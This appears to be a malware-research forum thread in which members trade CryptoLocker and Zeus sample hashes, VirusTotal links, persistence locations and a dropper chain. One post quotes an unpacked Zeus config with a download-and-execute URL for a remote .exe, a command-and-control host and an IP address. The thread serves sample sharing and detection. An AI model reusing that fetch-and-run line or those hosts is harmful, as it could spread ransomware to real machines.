[EP_X0FF]

Thread split.

[jasonbot]

Found a website that lists two new samples as of Jan 22nd.

www.grc.com/malware.htm

Could someone please test these two out? I don't have the capability of running them through a VM.

[bao]

MD5 = D3AA1184679742DE185878976B13F7E6
SHA-1 = 10F3F404F0E2A8CF65AB6E3A242B25BAA156854A
SHA-256 = 22DF183CFFC655FB977FFFBDDE1A1C09A0E2B35431B06667171716DDCFACC0DA
https://www.virustotal.com/ru/file/22df ... /analysis/

[dairu87]

Coming across more and more Cryptolockers again... Doesn't look like the same old stuff though. Doesn't appear to be running out of the old locations %localappdata% or creating the old registry keys to launch it on startup (HKLM/HKCU > Software > Microsoft > Windows > CurrentVersion > Run & RunOnce) or in (HKLM/HKCU > Software > Microsoft > WindowsNT > CurrentVersion > Winlogon). The "CryptoPrevent" that was created to stop it from running out of the old directories does not appear to be stopping it either... Looking in taskmanager there is no bad processes listed. Tried looking through Sysinternals process explorer and still not seeing anything. Has anyone seen this new version or managed to get a sample? I have another 2 or 3 clients with it on their machine so I will still be working with it and if I can manage to locate it and obtain a sample I will certainly share. :)

[dairu87]

Found it :) Looks like it runs out of the startup directory in the start menu for every single user, including all users and the system profile. Still have a few more cases of it... If I notice anything else different will post more samples.
https://www.virustotal.com/en/file/f09b ... /analysis/ - EPUHelp.exe SHA: f09b2a3c7128875b4568598d26c03f4494c067f100df6c3f5853ce6a04a82885
https://www.virustotal.com/en/file/e1fd ... /analysis/ - 483ac69.exe SHA: e1fd365bb308126ddcceb5df5b82104f54200b84d45e29f82858557b0b341aaa

[dairu87]

Another New and active Sample SHA-256: 36e42fa792061bb1e4600f180464a256f879ce0fb8ea4de993e1dd0b1805ed80
https://www.virustotal.com/en/file/36e4 ... 393803456/ - 96c8c4d.exe

[forty-six]

dairu87 Sample Unpacked

[forty-six]

Fresh Cryptolocker. Different from above sample.

Code: Select all

Zeus GMO

user_execute http:// bestchoicelipo .com /download/files/small0403.exe 


POST /home/ HTTP/1.1
Host: lcbohxwxhihpjwg.biz 
Content-Length: 192
Connection: Close

IP: 195.2.77.142

[wantondamage2012]

thanks
this variant has a decryptor! so if you do become infected you can recover your data!

[Intimacygel]

Hi all,

I got one off a customers box today but sadly they were infected 3.27 and these samples no longer work. I'm a level 0 reverser, so my uneducated guess is that they query the server that would hold the key, see its no longer operational and then just kill/delete themselves. The info I have is based off of their AV's logging - which needless to say failed.

There are some files missing from this chain of dropping, but I was unable to grab them

file-6791126_exe
initial Zeus Dropper

Drops
Ifyxplsjpjbpdjv

Which then drops
ls44

Useful to anyone?